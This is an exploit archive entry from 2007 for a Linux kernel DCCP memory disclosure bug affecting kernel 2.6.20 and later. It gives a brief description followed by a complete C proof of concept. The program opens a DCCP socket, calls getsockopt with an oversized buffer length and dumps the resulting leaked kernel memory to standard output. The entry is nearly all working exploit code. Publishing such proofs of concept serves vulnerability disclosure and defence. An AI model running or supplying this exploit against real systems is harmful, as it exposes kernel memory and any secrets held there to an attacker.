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linux-disclose-v2.txt

linux-disclose-v2.txt
Posted Mar 29, 2007
Authored by Robert Swiecki | Site swiecki.net

The Linux kernel suffers from a DCCP memory disclosure vulnerability. This is the second proof of concept exploit related to this vulnerability. Kernel versions 2.6.20 and above are affected.

tags | exploit, kernel, proof of concept, info disclosure
systems | linux
SHA-256 | dad59b64a19cd7c6b804730925f934f72c81a8c9c9b63a8a42caea8b305214a6

linux-disclose-v2.txt

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#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h>

#define BUFSIZE 0x10000000

int main(int argc, char *argv[])
{
void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (mem == (void*)-1) {
printf("Alloc failed\n");
return -1;
}
/* SOCK_DCCP, IPPROTO_DCCP */
int s = socket(PF_INET, 6, 33);
if (s == -1) {
fprintf(stderr, "socket failure!\n");
return 1;
}
/* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
int len = BUFSIZE;
int x = getsockopt(s, 269, 11, mem, &len);

if (x == -1)
perror("SETSOCKOPT");
else
printf("SUCCESS\n");

write(1, mem, BUFSIZE);

return 0;
}

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